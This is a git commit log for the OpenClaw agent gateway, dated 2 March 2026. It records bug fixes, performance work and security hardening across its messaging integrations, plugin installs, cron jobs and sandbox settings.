Peter Steinberger
d01e04bcec test(perf): reduce heavy fixture and guardrail overhead 2026-03-02 21:07:52 +00:00
Peter Steinberger
5a32a66aa8 perf(core): speed up routing, pairing, slack, and security scans 2026-03-02 21:07:52 +00:00
Peter Steinberger
3a08e69a05 refactor: unify queueing and normalize telegram slack flows 2026-03-02 20:55:15 +00:00
Peter Steinberger
320920d523 fix: harden bundled plugin install fallback semantics (#32096) (thanks @scoootscooob) 2026-03-02 20:49:50 +00:00
Peter Steinberger
ad12d1fbce fix(plugins): prefer bundled plugin ids over bare npm specs 2026-03-02 20:49:50 +00:00
scoootscooob
bfb6c6290f fix: distinguish warning message for non-OpenClaw vs missing npm package
Address Greptile review: show "not a valid OpenClaw plugin" when the
npm package was found but lacks openclaw.extensions, instead of the
misleading "npm package unavailable" message.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 20:49:50 +00:00
scoootscooob
da8a17d8de fix(plugins): fall back to bundled plugin when npm spec resolves to non-OpenClaw package (#32019)
When `openclaw plugins install diffs` downloads the unrelated npm
package `diffs@0.1.1` (which lacks `openclaw.extensions`), the install
fails without trying the bundled `@openclaw/diffs` plugin.

Two fixes:
1. Broaden the bundled-fallback trigger to also fire on
   "missing openclaw.extensions" errors (not just npm 404s)
2. Match bundled plugins by pluginId in addition to npmSpec so
   unscoped names like "diffs" resolve to `@openclaw/diffs`

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 20:49:50 +00:00
Peter Steinberger
089a8785b9 fix: harden msteams revoked-context fallback delivery (#27224) (thanks @openperf) 2026-03-02 20:49:03 +00:00
root
e0b91067e3 fix(msteams): add proactive fallback for revoked turn context
Fixes #27189

When an inbound message is debounced, the Bot Framework turn context is
revoked before the debouncer flushes and the reply is dispatched. Any
attempt to use the revoked context proxy throws a TypeError, causing the
reply to fail silently.

This commit fixes the issue by adding a fallback to proactive messaging
when the turn context is revoked:

- `isRevokedProxyError()`: New error utility to reliably detect when a
  proxy has been revoked.

- `reply-dispatcher.ts`: `sendTypingIndicator` now catches revoked proxy
  errors and falls back to sending the typing indicator via
  `adapter.continueConversation`.

- `messenger.ts`: `sendMSTeamsMessages` now catches revoked proxy errors
  when `replyStyle` is `thread` and falls back to proactive messaging.

This ensures that replies are delivered reliably even when the inbound
message was debounced, resolving the core issue where the bot appeared
to ignore messages.
2026-03-02 20:49:03 +00:00
Peter Steinberger
d2bb04b436 fix: document msteams auth redirect scoping hardening (#25045) (thanks @bmendonca3) 2026-03-02 20:45:09 +00:00
bmendonca3
4a414c5e53 fix(msteams): scope auth across media redirects 2026-03-02 20:45:09 +00:00
bmendonca3
da22a9113c test(msteams): cover auth stripping on graph redirect hops 2026-03-02 20:45:09 +00:00
bmendonca3
8937c10f1f fix(msteams): scope graph auth redirects 2026-03-02 20:45:09 +00:00
Peter Steinberger
259f6543b4 fix: harden config backup permissions and cleanup (#31718) (thanks @YUJIE2002) 2026-03-02 20:40:15 +00:00
YUJIE2002
3c0ec76e8e fix(config): harden backup file permissions and clean orphan .bak files
Addresses #31699 — config .bak files persist with sensitive data.

Changes:
- Explicitly chmod 0o600 on all .bak files after creation, instead of
  relying on copyFile to preserve source permissions (not guaranteed on
  all platforms, e.g. Windows, NFS mounts).
- Clean up orphan .bak files that fall outside the managed 5-deep
  rotation ring (e.g. PID-stamped leftovers from interrupted writes,
  manual backups like .bak.before-marketing).
- Add tests for permission hardening and orphan cleanup.

The backup ring itself is preserved — it's a valuable recovery mechanism.
This PR hardens the security surface by ensuring backup files are
always owner-only and stale copies don't accumulate indefinitely.
2026-03-02 20:40:15 +00:00
Peter Steinberger
d80144f572 fix: keep long Telegram model callbacks selectable (#31857) (thanks @bmendonca3) 2026-03-02 20:38:43 +00:00
bmendonca3
54eb13893f Telegram: support compact model callback fallback 2026-03-02 20:38:43 +00:00
bmendonca3
c582a54554 fix(msteams): preserve guarded dispatcher redirects 2026-03-02 20:37:47 +00:00
bmendonca3
cceecc8bd4 msteams: enforce guarded redirect ownership in safeFetch 2026-03-02 20:37:47 +00:00
Jason Separovic
00347bda75 fix(tools): strip xAI-unsupported JSON Schema keywords from tool definitions
xAI rejects minLength, maxLength, minItems, maxItems, minContains, and
maxContains in tool schemas with a 502 error instead of ignoring them.
This causes all requests to fail when any tool definition includes these
validation-constraint keywords (e.g. sessions_spawn uses maxLength and
maxItems on its attachment fields).

Add stripXaiUnsupportedKeywords() in schema/clean-for-xai.ts, mirroring
the existing cleanSchemaForGemini() pattern. Apply it in normalizeToolParameters()
when the provider is xai directly, or openrouter with an x-ai/* model id.

Fixes tool calls for x-ai/grok-* models both direct and via OpenRouter.
2026-03-02 20:37:07 +00:00
Kay-051
da05395c2a fix(telegram): preserve original filename from Telegram document/audio/video uploads
The downloadAndSaveTelegramFile inner function only used the server-side
file path (e.g. "documents/file_42.pdf") or the Content-Disposition
header (which Telegram doesn't send) to derive the saved filename.
The original filename provided by Telegram via msg.document.file_name,
msg.audio.file_name, msg.video.file_name, and msg.animation.file_name
was never passed through, causing all inbound files to lose their
user-provided names.

Now downloadAndSaveTelegramFile accepts an optional telegramFileName
parameter that takes priority over the fetched/server-side name.
The resolveMedia call site extracts the original name from the message
and passes it through.

Closes #31768

Made-with: Cursor
2026-03-02 20:36:39 +00:00
Altay
e45d26b9ed chore(gitignore): add .claude folder to gitignore (#32141) 2026-03-02 12:35:56 -08:00
bmendonca3
16e7fc2563 fix(models): infer codex weekly usage labels from reset cadence 2026-03-02 20:35:45 +00:00
SidQin-cyber
479095bcfb fix(discord): use per-channel message queues to restore parallel agent dispatch
Replace the single per-account messageQueue Promise chain in
DiscordMessageListener with per-channel queues. This restores parallel
processing for channel-bound agents that regressed in 2026.3.1.

Messages within the same channel remain serialized to preserve ordering,
while messages to different channels now proceed independently. Completed
queue entries are cleaned up to prevent memory accumulation.

Closes #31530
2026-03-02 20:34:41 +00:00
SidQin-cyber
5b63417fec fix(slack): apply mrkdwn conversion in streaming and preview paths
The native streaming path (chatStream) and preview final edit path
(chat.update) send raw Markdown text without converting to Slack
mrkdwn format. This causes **bold** to appear as literal asterisks
instead of rendered bold text.

Apply markdownToSlackMrkdwn() in streaming.ts (start/append/stop) and
in dispatch.ts (preview final edit via chat.update) to match the
non-streaming delivery path behavior.

Closes #31892
2026-03-02 20:34:41 +00:00
bmendonca3
6945ba189d msteams: harden webhook ingress timeouts 2026-03-02 20:34:05 +00:00
webdevtodayjason
ab0b2c21f3 WhatsApp: guard main DM last-route to single owner 2026-03-02 20:33:59 +00:00
Mitch McAlister
f534ea9906 fix: prevent reasoning text leak through handleMessageEnd fallback
When enforceFinalTag is active (Google providers), stripBlockTags
correctly returns empty for text without <final> tags. However, the
handleMessageEnd fallback recovered raw text, bypassing this protection
and leaking internal reasoning (e.g. "**Applying single-bot mention
rule**NO_REPLY") to Discord.

Guard the fallback with enforceFinalTag check: if the provider is
supposed to use <final> tags and none were seen, the text is treated
as leaked reasoning and suppressed.

Also harden stripSilentToken regex to allow bold markdown (**) as
separator before NO_REPLY, matching the pattern Gemini Flash Lite
produces.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 20:32:01 +00:00
chilu18
15677133c1 test(msteams): remove tuple-unsafe spread in lifecycle mocks 2026-03-02 20:31:26 +00:00
chilu18
c9d0e345cb fix(msteams): keep monitor alive until shutdown 2026-03-02 20:31:26 +00:00
liuxiaopai-ai
bf0653846e Gateway: suppress NO_REPLY lead-fragment chat leaks 2026-03-02 20:27:49 +00:00
Peter Steinberger
3de7768b11 perf(routing): cache normalized agent-id lookups 2026-03-02 20:19:10 +00:00
Peter Steinberger
2937fe0351 perf(config): skip redundant schema and session-store work 2026-03-02 20:19:10 +00:00
Peter Steinberger
fb5d8a9cd1 perf(slack): memoize allow-from and mention paths 2026-03-02 20:19:10 +00:00
Peter Steinberger
2f352306fe perf(security): cache scanner directory walks 2026-03-02 20:19:10 +00:00
Peter Steinberger
f7765bc151 perf(cron): cache schedule evaluators and stagger offsets 2026-03-02 20:19:10 +00:00
Jean-Marc
b52561bfa3 fix(synology-chat): prevent restart loop in startAccount (#23074)
* fix(synology-chat): prevent restart loop in startAccount

startAccount must return a Promise that stays pending while the channel
is running. The gateway wraps the return value in Promise.resolve(), and
when it resolves, the gateway thinks the channel crashed and auto-restarts
with exponential backoff (5s → 10s → 20s..., up to 10 attempts).

Replace the synchronous { stop } return with a Promise<void> that resolves
only when ctx.abortSignal fires, keeping the channel alive until shutdown.

Tested on Synology DS923+ with DSM 7.2 — single startup, no restart loop.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(synology-chat): add type guards for startAccount return value

startAccount returns `void | { stop: () => void }` — TypeScript requires
a type guard before accessing .stop on the union type. Added proper checks
in both integration and unit tests.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(synology-chat): use Readable stream in integration test for Windows compat

Replace EventEmitter + process.nextTick with Readable stream for
request body simulation. The process.nextTick approach caused the test
to hang on Windows CI (120s timeout) because events were not reliably
delivered to readBody() listeners.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: stabilize synology gateway account lifecycle (#23074) (thanks @druide67)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 20:06:16 +00:00
Peter Steinberger
4b50018406 fix: restore helper imports and plugin hook test exports 2026-03-02 19:57:33 +00:00
Peter Steinberger
7003615972 fix: resolve rebase conflict markers 2026-03-02 19:57:33 +00:00
Peter Steinberger
eb816e0551 refactor: dedupe extension and ui helpers 2026-03-02 19:57:33 +00:00
Peter Steinberger
b1c30f0ba9 refactor: dedupe cli config cron and install flows 2026-03-02 19:57:33 +00:00
Peter Steinberger
9d30159fcd refactor: dedupe channel and gateway surfaces 2026-03-02 19:57:33 +00:00
Peter Steinberger
9617ac9dd5 refactor: dedupe agent and reply runtimes 2026-03-02 19:57:33 +00:00
Peter Steinberger
8768487aee refactor(shared): dedupe protocol schema typing and session/media helpers 2026-03-02 19:57:33 +00:00
Peter Steinberger
ee0d7ba6d6 chore: normalize changelog credit for #31841 (thanks @liuxiaopai-ai) 2026-03-02 19:56:18 +00:00
liuxiaopai-ai
c48a0621ff fix(agents): map sandbox workdir from container path 2026-03-02 19:56:18 +00:00
Peter Steinberger
b1cc8ffe9e fix: migrate legacy cron store shapes (#31926) (thanks @bmendonca3) 2026-03-02 19:55:19 +00:00
bmendonca3
4cd04e4652 fix(cron): migrate legacy string schedule and command jobs 2026-03-02 19:55:19 +00:00
Peter Steinberger
c424836fbe refactor: harden outbound, matrix bootstrap, and plugin entry resolution 2026-03-02 19:55:09 +00:00
Peter Steinberger
a351ab2481 fix: persist webchat stream-only finals (#31920) (thanks @Sid-Qin) 2026-03-02 19:54:26 +00:00
SidQin-cyber
15226b0b83 fix(gateway): persist streamed text when webchat final event lacks message
When an agent streams text and then immediately runs tool calls, the
webchat UI drops the streamed content: the "final" event arrives with
message: undefined (buffer consumed by sub-run), and the client clears
chatStream without saving it to chatMessages.

Before clearing chatStream on a "final" event, check whether the stream
buffer has content. If no finalMessage was provided but the stream is
non-empty, synthesize an assistant message from the buffered text —
mirroring the existing "aborted" handler's preservation logic.

Closes #31895
2026-03-02 19:54:26 +00:00
Peter Steinberger
0cf533ac61 fix: recover orphan same-pid session locks (#32081) (thanks @bmendonca3) 2026-03-02 19:53:41 +00:00
bmendonca3
4985c561df sessions: reclaim orphan self-pid lock files 2026-03-02 19:53:41 +00:00
Peter Steinberger
160dad56c4 fix: suppress HEARTBEAT_OK fallback leak (#32093) (thanks @scoootscooob) 2026-03-02 19:51:51 +00:00
scoootscooob
a3c5d21b4d fix(cron): suppress HEARTBEAT_OK summary from leaking into main session (#32013)
When an isolated cron agent returns HEARTBEAT_OK (nothing to announce),
the direct delivery is correctly skipped, but the fallback path in
timer.ts still enqueues the summary as a system event to the main
session. Filter out heartbeat-only summaries using isCronSystemEvent
before enqueuing, so internal ack tokens never reach user conversations.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 19:51:51 +00:00
Jean-Marc
9a3800d8e6 fix(synology-chat): resolve Chat API user_id for reply delivery (#23709)
* fix(synology-chat): resolve Chat API user_id for reply delivery

Synology Chat outgoing webhooks use a per-integration user_id that
differs from the global Chat API user_id required by method=chatbot.
This caused reply messages to fail silently when the IDs diverged.

Changes:
- Add fetchChatUsers() and resolveChatUserId() to resolve the correct
  Chat API user_id via the user_list endpoint (cached 5min)
- Use resolved user_id for all sendMessage() calls in webhook handler
  and channel dispatcher
- Add Provider field to MsgContext so the agent runner correctly
  identifies the message channel (was "unknown", now "synology-chat")
- Log warnings when user_list API fails or when falling back to
  unresolved webhook user_id
- Add 5 tests for user_id resolution (nickname, username, case,
  not-found, URL rewrite)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(synology-chat): use Readable stream in integration test for Windows compat

Replace EventEmitter + process.nextTick with Readable stream for
request body simulation. The process.nextTick approach caused the test
to hang on Windows CI (120s timeout) because events were not reliably
delivered to readBody() listeners.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: harden synology reply user resolution and cache scope (#23709) (thanks @druide67)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 19:50:58 +00:00
Peter Steinberger
39afcee864 test(perf): trim cron and audit fixture overhead 2026-03-02 19:48:02 +00:00
Peter Steinberger
d979eeda9f perf(runtime): reduce slack prep and qmd cache-key overhead 2026-03-02 19:48:02 +00:00
Peter Steinberger
8e48f7e353 fix(tui): honor explicit gateway auth for url overrides 2026-03-02 19:48:02 +00:00
Peter Steinberger
2a2e2c3630 fix: land synology webhook payload compatibility ACK (#26635) (thanks @memphislee09-source) 2026-03-02 19:45:55 +00:00
memphislee09-source
92bf77d9a0 fix(synology-chat): accept JSON/aliases and ACK webhook with 204 2026-03-02 19:45:55 +00:00
Peter Steinberger
a3bb7a5ee5 fix: land synology webhook bounded body reads (#25831) (thanks @bmendonca3) 2026-03-02 19:42:56 +00:00
bmendonca3
2b088ca125 test(synology-chat): use real plugin-sdk helper exports 2026-03-02 19:42:56 +00:00
bmendonca3
aeeb0474c6 test(synology-chat): match request destroy typing 2026-03-02 19:42:56 +00:00
bmendonca3
6df36a8b35 fix(synology-chat): bound webhook body read time 2026-03-02 19:42:56 +00:00
Mark L
fbd1210ec2 fix(plugins): support legacy install entry fallback (#32055)
* fix(plugins): fallback install entrypoints for legacy manifests

* Voice Call: enforce exact webhook path match

* Tests: isolate webhook path suite and reset cron auth state

* chore: keep #31930 scoped to voice webhook path fix

* fix: add changelog for exact voice webhook path match (#31930) (thanks @afurm)

* fix: handle HTTP 529 (Anthropic overloaded) in failover error classification

Classify Anthropic's 529 status code as "rate_limit" so model fallback
triggers reliably without depending on fragile message-based detection.

Closes #28502

* fix: add changelog for HTTP 529 failover classification (#31854) (thanks @bugkill3r)

* fix(slack): guard against undefined text in includes calls during mention handling

* fix: add changelog for mentions/slack null-safe guards (#31865) (thanks @stone-jin)

* fix(memory-lancedb): pass dimensions to embedding API call

- Add dimensions parameter to Embeddings constructor
- Pass dimensions to OpenAI embeddings.create() API call
- Fixes dimension mismatch when using custom embedding models like DashScope text-embedding-v4

* fix: add regression for memory-lancedb dimensions pass-through (#32036) (thanks @scotthuang)

* fix(telegram): guard malformed native menu specs

* fix: harden plugin command registration + telegram menu guard (#31997) (thanks @liuxiaopai-ai)

* fix(gateway): restart heartbeat on model config changes

* fix: add changelog credit for heartbeat model reload (#32046) (thanks @stakeswky)

* test(process): replace no-output timer subprocess with spawn mock

* test(perf): trim repeated setup in cron memory and config suites

* test(perf): reduce per-case setup in script and git-hook tests

* fix(slack): scope debounce key by message timestamp to prevent cross-thread collisions

Top-level channel messages from the same sender shared a bare channel
debounce key, causing concurrent messages in different threads to merge
into a single reply on the wrong thread. Now the debounce key includes
the message timestamp for top-level messages, matching how the downstream
session layer already scopes by canonicalThreadId.

Extracted buildSlackDebounceKey() for testability.

Closes #31935

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: harden slack debounce key routing and ordering (#31951) (thanks @scoootscooob)

* fix(openrouter): skip reasoning.effort injection for x-ai/grok models

x-ai/grok models on OpenRouter do not support the reasoning.effort
parameter and reject payloads containing it with "Invalid arguments
passed to the model." Skip reasoning injection for these models, the
same way we already skip it for the dynamic "auto" routing model.

Closes #32039

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add changelog credit for openrouter x-ai reasoning guard (#32054) (thanks @scoootscooob)

* fix(agents): scope volcengine-plan/byteplus-plan auth lookup to profile resolution

The configure flow stores auth credentials under `provider: "volcengine"`,
but the coding model uses `volcengine-plan` as its provider. Add a scoped
`normalizeProviderIdForAuth` function used only by `listProfilesForProvider`
so coding-plan variants resolve to their base provider for auth credential
lookup without affecting global provider routing.

Closes #31731

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(tools): honor fsPolicy.workspaceOnly in image/pdf tool localRoots

PR #28822 fixed the Write/Edit tools to respect `tools.fs.workspaceOnly`,
but the image and PDF tools still unconditionally include default local
roots (`~/.openclaw/media`, `~/.openclaw/agents`, etc.) when computing
the `localRoots` allowlist for non-sandbox mode.

When `fsPolicy.workspaceOnly` is true, restrict `localRoots` to only the
workspace directory so that files outside the workspace are rejected by
`assertLocalMediaAllowed()`.

Relates to #31716

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add changelog credit for fsPolicy image/pdf propagation (#31882) (thanks @justinhuangcode)

* fix: skip Telegram command sync when menu is unchanged (#32017)

Hash the command list and cache it to disk per account. On restart,
compare the current hash against the cached one and skip the
deleteMyCommands + setMyCommands round-trip when nothing changed.
This prevents 429 rate-limit errors when the gateway restarts
several times in quick succession.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(telegram): scope command-sync hash cache by bot identity (#32059)

* fix: normalize coding-plan providers in auth order validation

* feat(security): Harden Docker browser container chromium flags (#23889) (#31504)

* Gateway: honor OPENCLAW_GATEWAY_URL override for remote/local calls

* Agents: fix sandbox sessionKey usage for PI embedded subagent calls

* Sandbox: tighten browser container Chromium runtime flags

* fix: add sandbox browser defaults for container hardening

* docs: expand sandbox browser default flags list

* fix: make sandbox browser flags optional and preserve gateway env auth overrides

* docs: scope PR 31504 changelog entry

* style: format gateway call override handling

* fix: dedupe sandbox browser chrome args

* fix: preserve remote tls fingerprint for env gateway override

* fix: enforce auth for env gateway URL override

* chore: document gateway override auth security expectations

* fix(delivery): strip HTML tags for plain-text messaging surfaces

Models occasionally produce HTML tags in their output. While these render
fine on web surfaces, they appear as literal text on WhatsApp, Signal,
SMS, IRC, and Telegram.

Add sanitizeForPlainText() utility that converts common inline HTML to
lightweight-markup equivalents and strips remaining tags. Applied in the
outbound delivery pipeline for non-HTML surfaces only.

Closes #31884
See also: #18558

* fix(outbound): harden plain-text HTML sanitization paths (#32034)

* fix(security): harden file installs and race-path tests

* matrix: bootstrap crypto runtime when npm scripts are skipped

* fix(matrix): keep plugin register sync while bootstrapping crypto runtime (#31989)

* perf(runtime): reduce cron persistence and logger overhead

* test(perf): use prebuilt plugin install archive fixtures

* test(perf): increase guardrail scan read concurrency

* fix(queue): restart drain when message enqueued after idle window

After a drain loop empties the queue it deletes the key from
FOLLOWUP_QUEUES.  If a new message arrives at that moment
enqueueFollowupRun creates a fresh queue object with draining:false
but never starts a drain, leaving the message stranded until the
next run completes and calls finalizeWithFollowup.

Fix: persist the most recent runFollowup callback per queue key in
FOLLOWUP_RUN_CALLBACKS (drain.ts).  enqueueFollowupRun now calls
kickFollowupDrainIfIdle after a successful push; if a cached
callback exists and no drain is running it calls scheduleFollowupDrain
to restart immediately.  clearSessionQueues cleans up the callback
cache alongside the queue state.

* fix: avoid stale followup drain callbacks (#31902) (thanks @Lanfei)

* fix(synology-chat): read cfg from outbound context so incomingUrl resolves

* fix: require openclaw.extensions for plugin installs (#32055) (thanks @liuxiaopai-ai)

---------

Co-authored-by: Andrii Furmanets <furmanets.andriy@gmail.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Co-authored-by: Saurabh <skmishra1991@gmail.com>
Co-authored-by: stone-jin <1520006273@qq.com>
Co-authored-by: scotthuang <scotthuang@tencent.com>
Co-authored-by: User <user@example.com>
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: justinhuangcode <justinhuangcode@users.noreply.github.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: AytuncYildizli <cryptosquanch@gmail.com>
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
Co-authored-by: Jealous <CooLanfei@163.com>
Co-authored-by: white-rm <zhang.xujin@xydigit.com>
2026-03-02 19:41:05 +00:00
xtao
26b8a70a52 fix(synology-chat): use finalizeInboundContext for proper normalization 2026-03-02 19:39:14 +00:00
xtao
e391646043 fix(synology-chat): add missing context fields for message delivery 2026-03-02 19:39:14 +00:00
white-rm
e513714103 fix(synology-chat): read cfg from outbound context so incomingUrl resolves 2026-03-02 19:38:14 +00:00
Peter Steinberger
b645654923 fix: avoid stale followup drain callbacks (#31902) (thanks @Lanfei) 2026-03-02 19:38:08 +00:00
Jealous
60130203e1 fix(queue): restart drain when message enqueued after idle window
After a drain loop empties the queue it deletes the key from
FOLLOWUP_QUEUES.  If a new message arrives at that moment
enqueueFollowupRun creates a fresh queue object with draining:false
but never starts a drain, leaving the message stranded until the
next run completes and calls finalizeWithFollowup.

Fix: persist the most recent runFollowup callback per queue key in
FOLLOWUP_RUN_CALLBACKS (drain.ts).  enqueueFollowupRun now calls
kickFollowupDrainIfIdle after a successful push; if a cached
callback exists and no drain is running it calls scheduleFollowupDrain
to restart immediately.  clearSessionQueues cleans up the callback
cache alongside the queue state.
2026-03-02 19:38:08 +00:00
Peter Steinberger
c4511df283 test(perf): increase guardrail scan read concurrency 2026-03-02 19:34:04 +00:00
Peter Steinberger
64abf9a925 test(perf): use prebuilt plugin install archive fixtures 2026-03-02 19:34:04 +00:00
Peter Steinberger
1616113170 perf(runtime): reduce cron persistence and logger overhead 2026-03-02 19:34:04 +00:00
Peter Steinberger
fcec2e364d fix(matrix): keep plugin register sync while bootstrapping crypto runtime (#31989) 2026-03-02 19:33:22 +00:00
bmendonca3
66c1da45d4 matrix: bootstrap crypto runtime when npm scripts are skipped 2026-03-02 19:33:22 +00:00
Peter Steinberger
dbbd41a2ed fix(security): harden file installs and race-path tests 2026-03-02 19:30:02 +00:00
Peter Steinberger
e1bc5cad25 fix(outbound): harden plain-text HTML sanitization paths (#32034) 2026-03-02 19:28:47 +00:00
AytuncYildizli
62d0cfeee7 fix(delivery): strip HTML tags for plain-text messaging surfaces
Models occasionally produce HTML tags in their output. While these render
fine on web surfaces, they appear as literal text on WhatsApp, Signal,
SMS, IRC, and Telegram.

Add sanitizeForPlainText() utility that converts common inline HTML to
lightweight-markup equivalents and strips remaining tags. Applied in the
outbound delivery pipeline for non-HTML surfaces only.

Closes #31884
See also: #18558
2026-03-02 19:28:47 +00:00
Vincent Koc
a19a7f5e6e feat(security): Harden Docker browser container chromium flags (#23889) (#31504)
* Gateway: honor OPENCLAW_GATEWAY_URL override for remote/local calls

* Agents: fix sandbox sessionKey usage for PI embedded subagent calls

* Sandbox: tighten browser container Chromium runtime flags

* fix: add sandbox browser defaults for container hardening

* docs: expand sandbox browser default flags list

* fix: make sandbox browser flags optional and preserve gateway env auth overrides

* docs: scope PR 31504 changelog entry

* style: format gateway call override handling

* fix: dedupe sandbox browser chrome args

* fix: preserve remote tls fingerprint for env gateway override

* fix: enforce auth for env gateway URL override

* chore: document gateway override auth security expectations
2026-03-02 11:28:27 -08:00
Peter Steinberger
ea1fe77c83 fix: normalize coding-plan providers in auth order validation 2026-03-02 19:26:09 +00:00
Peter Steinberger
d486b0a925 fix(telegram): scope command-sync hash cache by bot identity (#32059) 2026-03-02 19:25:19 +00:00
scoootscooob
10fb632c9e fix: skip Telegram command sync when menu is unchanged (#32017)
Hash the command list and cache it to disk per account. On restart,
compare the current hash against the cached one and skip the
deleteMyCommands + setMyCommands round-trip when nothing changed.
This prevents 429 rate-limit errors when the gateway restarts
several times in quick succession.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 19:25:19 +00:00
Peter Steinberger
4a2329e0af fix: add changelog credit for fsPolicy image/pdf propagation (#31882) (thanks @justinhuangcode) 2026-03-02 19:24:33 +00:00
justinhuangcode
14baadda2c fix(tools): honor fsPolicy.workspaceOnly in image/pdf tool localRoots
PR #28822 fixed the Write/Edit tools to respect `tools.fs.workspaceOnly`,
but the image and PDF tools still unconditionally include default local
roots (`~/.openclaw/media`, `~/.openclaw/agents`, etc.) when computing
the `localRoots` allowlist for non-sandbox mode.

When `fsPolicy.workspaceOnly` is true, restrict `localRoots` to only the
workspace directory so that files outside the workspace are rejected by
`assertLocalMediaAllowed()`.

Relates to #31716

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 19:24:33 +00:00
justinhuangcode
aab87ec880 fix(agents): scope volcengine-plan/byteplus-plan auth lookup to profile resolution
The configure flow stores auth credentials under `provider: "volcengine"`,
but the coding model uses `volcengine-plan` as its provider. Add a scoped
`normalizeProviderIdForAuth` function used only by `listProfilesForProvider`
so coding-plan variants resolve to their base provider for auth credential
lookup without affecting global provider routing.

Closes #31731

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 19:22:19 +00:00
Peter Steinberger
a71b8d23be fix: add changelog credit for openrouter x-ai reasoning guard (#32054) (thanks @scoootscooob) 2026-03-02 19:20:11 +00:00
scoootscooob
6c7d012320 fix(openrouter): skip reasoning.effort injection for x-ai/grok models
x-ai/grok models on OpenRouter do not support the reasoning.effort
parameter and reject payloads containing it with "Invalid arguments
passed to the model." Skip reasoning injection for these models, the
same way we already skip it for the dynamic "auto" routing model.

Closes #32039

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 19:20:11 +00:00
Peter Steinberger
0956b599e1 fix: harden slack debounce key routing and ordering (#31951) (thanks @scoootscooob) 2026-03-02 19:18:25 +00:00
scoootscooob
d4b20f5295 fix(slack): scope debounce key by message timestamp to prevent cross-thread collisions
Top-level channel messages from the same sender shared a bare channel
debounce key, causing concurrent messages in different threads to merge
into a single reply on the wrong thread. Now the debounce key includes
the message timestamp for top-level messages, matching how the downstream
session layer already scopes by canonicalThreadId.

Extracted buildSlackDebounceKey() for testability.

Closes #31935

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 19:18:25 +00:00
Peter Steinberger
07eaeb7350 test(perf): reduce per-case setup in script and git-hook tests 2026-03-02 19:16:46 +00:00
Peter Steinberger
83ec545bed test(perf): trim repeated setup in cron memory and config suites 2026-03-02 19:16:46 +00:00
Peter Steinberger
6add2bcc15 test(process): replace no-output timer subprocess with spawn mock 2026-03-02 19:16:46 +00:00
Peter Steinberger
fbb343ab30 fix: add changelog credit for heartbeat model reload (#32046) (thanks @stakeswky) 2026-03-02 19:13:57 +00:00
User
e1e93d932f fix(gateway): restart heartbeat on model config changes 2026-03-02 19:13:57 +00:00
Peter Steinberger
ee68fa86b5 fix: harden plugin command registration + telegram menu guard (#31997) (thanks @liuxiaopai-ai) 2026-03-02 19:04:56 +00:00
liuxiaopai-ai
0958d11478 fix(telegram): guard malformed native menu specs 2026-03-02 19:04:56 +00:00
Peter Steinberger
ed55b63684 fix: add regression for memory-lancedb dimensions pass-through (#32036) (thanks @scotthuang) 2026-03-02 19:02:11 +00:00
scotthuang
31bc2cc202 fix(memory-lancedb): pass dimensions to embedding API call
- Add dimensions parameter to Embeddings constructor
- Pass dimensions to OpenAI embeddings.create() API call
- Fixes dimension mismatch when using custom embedding models like DashScope text-embedding-v4
2026-03-02 19:02:11 +00:00
Peter Steinberger
c146748d7a fix: add changelog for mentions/slack null-safe guards (#31865) (thanks @stone-jin) 2026-03-02 19:00:08 +00:00
stone-jin
2a98fd3d0b fix(slack): guard against undefined text in includes calls during mention handling 2026-03-02 19:00:08 +00:00
Peter Steinberger
ce4faedad6 fix: add changelog for HTTP 529 failover classification (#31854) (thanks @bugkill3r) 2026-03-02 18:59:10 +00:00
Saurabh
1ef9a2a8ea fix: handle HTTP 529 (Anthropic overloaded) in failover error classification
Classify Anthropic's 529 status code as "rate_limit" so model fallback
triggers reliably without depending on fragile message-based detection.

Closes #28502
2026-03-02 18:59:10 +00:00
Peter Steinberger
84d9b64326 fix: add changelog for exact voice webhook path match (#31930) (thanks @afurm) 2026-03-02 18:57:46 +00:00
Peter Steinberger
99392f9868 chore: keep #31930 scoped to voice webhook path fix 2026-03-02 18:57:46 +00:00
Andrii Furmanets
662f389f45 Tests: isolate webhook path suite and reset cron auth state 2026-03-02 18:57:46 +00:00
Andrii Furmanets
3bd0505433 Voice Call: enforce exact webhook path match 2026-03-02 18:57:46 +00:00
SidQin-cyber
dde43121c0 fix(deps): add strip-ansi runtime dependency
Add strip-ansi as an explicit root dependency so pi-coding-agent runtime imports do not fail with ERR_MODULE_NOT_FOUND in strict pnpm installs.
2026-03-02 18:49:17 +00:00
Peter Steinberger
6a5041f3ff test(exec): deflake no-output timeout heartbeat scenario 2026-03-02 18:41:59 +00:00
Peter Steinberger
bcb1eb2f03 perf(test): speed up setup and config path resolution 2026-03-02 18:41:58 +00:00
Peter Steinberger
